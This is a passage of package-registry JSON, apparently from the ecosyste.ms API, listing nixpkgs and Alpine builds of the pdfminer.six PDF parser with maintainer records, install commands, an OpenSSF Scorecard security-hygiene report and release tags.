@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":"clandmeter@alpinelinux.org","url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":329,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2026-03-01T02:45:14.253Z","updated_at":"2026-03-01T02:45:14.253Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.19","url":"https://pkgs.alpinelinux.org/packages?branch=v3.19","ecosystem":"alpine","default":false,"packages_count":23031,"maintainers_count":392,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-12-20T09:51:56.346Z","updated_at":"2026-04-27T18:20:23.384Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/namespaces"}},{"id":13078483,"name":"python311Packages.pdfminer-six","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-01T17:39:25.545Z","latest_release_published_at":"2026-02-01T17:39:25.545Z","latest_release_number":"20240706","last_synced_at":"2026-03-08T05:23:24.529Z","created_at":"2026-02-01T17:39:20.485Z","updated_at":"2026-03-10T16:30:41.723Z","registry_url":"https://search.nixos.org/packages?channel=24.11\u0026query=python311Packages.pdfminer-six","install_command":"nix-env -iA nixpkgs.python311Packages.pdfminer-six","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-24.11/pkgs/development/python-modules/pdfminer-six/default.nix#L77","metadata":{"nix_attribute":"python3.11-pdfminer-six-20240706","position":"pkgs/development/python-modules/pdfminer-six/default.nix:77","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","aarch64-windows","x86_64-windows","i686-windows","i686-freebsd","x86_64-freebsd"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"],"upstream_ecosystem":"pypi","upstream_name":"pdfminer-six","upstream_purl":"pkg:pypi/pdfminer-six"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python311Packages.pdfminer-six?channel=24.11\u0026repository_url=https://channels.nixos.org/nixos-24.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python311Packages.pdfminer-six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python311Packages.pdfminer-six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python311Packages.pdfminer-six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python311Packages.pdfminer-six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python311Packages.pdfminer-six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python311Packages.pdfminer-six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python311Packages.pdfminer-six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python311Packages.pdfminer-six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python311Packages.pdfminer-six/codemeta","maintainers":[{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":63,"html_url":null,"role":null,"created_at":"2026-03-08T05:23:24.709Z","updated_at":"2026-03-08T05:23:24.709Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-24.11","url":"https://channels.nixos.org/nixos-24.11","ecosystem":"nixpkgs","default":false,"packages_count":121983,"maintainers_count":3777,"namespaces_count":0,"keywords_count":0,"github":"NixOS","metadata":{"funded_packages_count":228},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.059Z","updated_at":"2026-04-03T06:22:14.703Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/namespaces"}},{"id":13017118,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-09-27T21:53:35.000Z","latest_release_published_at":"2024-09-27T21:53:35.000Z","latest_release_number":"20240706-r0","last_synced_at":"2026-04-15T01:05:14.108Z","created_at":"2026-02-01T07:58:45.583Z","updated_at":"2026-04-15T01:31:18.993Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.23/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.23","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":184,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2026-03-04T10:20:57.628Z","updated_at":"2026-03-04T10:20:57.628Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.23","url":"https://pkgs.alpinelinux.org/packages?branch=v3.23","ecosystem":"alpine","default":false,"packages_count":27569,"maintainers_count":428,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2026-01-24T14:35:50.739Z","updated_at":"2026-04-27T18:20:22.382Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/namespaces"}},{"id":6211694,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2020-10-23T10:49:04.000Z","latest_release_published_at":"2020-10-23T10:49:04.000Z","latest_release_number":"20201018-r0","last_synced_at":"2026-04-01T01:05:32.601Z","created_at":"2023-02-01T03:00:14.147Z","updated_at":"2026-04-01T01:05:32.601Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.13/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768e